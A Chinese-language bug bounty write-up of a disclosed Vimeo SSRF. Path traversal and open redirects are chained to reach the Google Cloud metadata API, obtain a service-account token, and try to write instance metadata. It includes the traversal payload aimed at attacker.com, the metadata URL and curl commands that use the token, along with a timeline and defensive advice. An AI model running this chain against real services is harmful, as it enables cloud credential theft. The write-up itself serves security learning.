Bug Bounty: 漏洞组合导致SSRF 5000$
字数 1628 2025-08-26 22:11:28
Vimeo SSRF漏洞组合利用分析报告
漏洞概述
本报告详细分析了Vimeo平台上一个严重的安全漏洞组合,该组合利用路径遍历和开放重定向漏洞实现了服务器端请求伪造(SSRF),并进一步尝试了Google云元数据API访问,最终获得了5000美元的漏洞赏金。
漏洞背景
Vimeo提供了一个名为"API Playground"的API控制台,允许用户通过服务端发送API请求。关键发现点包括:
- 用户可以控制请求的多个参数:uri、请求方法(GET/POST等)、user_id和video_id
- 请求通过服务端处理,格式为:
https://api.vimeo.com/users/{user_id}/videos/{video_id}
漏洞发现过程
1. 服务端路径遍历
- 首先测试uri参数,使用路径遍历payload返回403错误,确认网站允许设置API端点
- 修改video_id值为
../../../,测试是否能访问api.vimeo.com根目录 - 成功构造请求:
URL.parse("https://api.vimeo.com/users/1122/videos/../../../attacker") - 结果显示api.vimeo.com列出了所有响应端点
2. 跳出api.vimeo.com限制
通过HTTP 30X重定向实现跨域访问:
- 在api.vimeo.com上发现一个重定向到vimeo.com的端点:
https://api.vimeo.com/m/something - 在vimeo.com上找到一个低危重定向漏洞,格式为:
https://vimeo/vulnerable/open/redirect?url=https://attacker.com
3. 攻击链组合
组装最终payload:
../../../m/vulnerable/open/redirect?url=https://attacker.com
放入video_id参数后,请求流程变为:
- 初始请求:
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com - 解析后变为:
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com - HTTP重定向到vimeo.com:
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com - 利用重定向漏洞最终跳转到:
https://attacker.com
深入利用
Google云元数据API访问
-
发现Vimeo基于Google云,尝试访问元数据API:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json -
成功获取访问令牌:
{ "access_token": "ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA", "expires_in": 2631, "token_type": "Bearer" } -
使用curl验证token信息:
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA返回:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } -
尝试设置实例元数据(虽然SSH端口未开放):
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "harsh-bugdiscloseguys", "value": "harsh-ssrf"}]}'
漏洞修复时间线
- 1月28日:漏洞提交
- 1月28日:HackerOne团队确认
- 1月28日:Vimeo团队临时修复并奖励100美元
- 1月30日/31日:完整性修复
- 2月1日:最终奖励4900美元
关键学习点
- API端点控制:仔细分析API参数的可控范围,特别是URI构造部分
- 路径遍历利用:通过
../../../等payload测试服务端路径解析逻辑 - 重定向链构造:组合多个重定向漏洞实现跨域SSRF
- 云服务元数据利用:针对云平台(如GCP)的元数据API是SSRF的高价值目标
- 权限提升尝试:获取token后尝试修改实例元数据,虽然SSH端口未开放但展示了潜在风险
防御建议
- 严格验证用户提供的URL和路径参数
- 禁用或限制服务端重定向功能
- 对云元数据API实施网络层限制
- 使用服务账户时设置最小权限原则
- 实施请求白名单机制,限制内部API的可访问范围
此漏洞展示了如何通过组合多个中低危漏洞实现高危攻击链,强调了全面安全评估的重要性。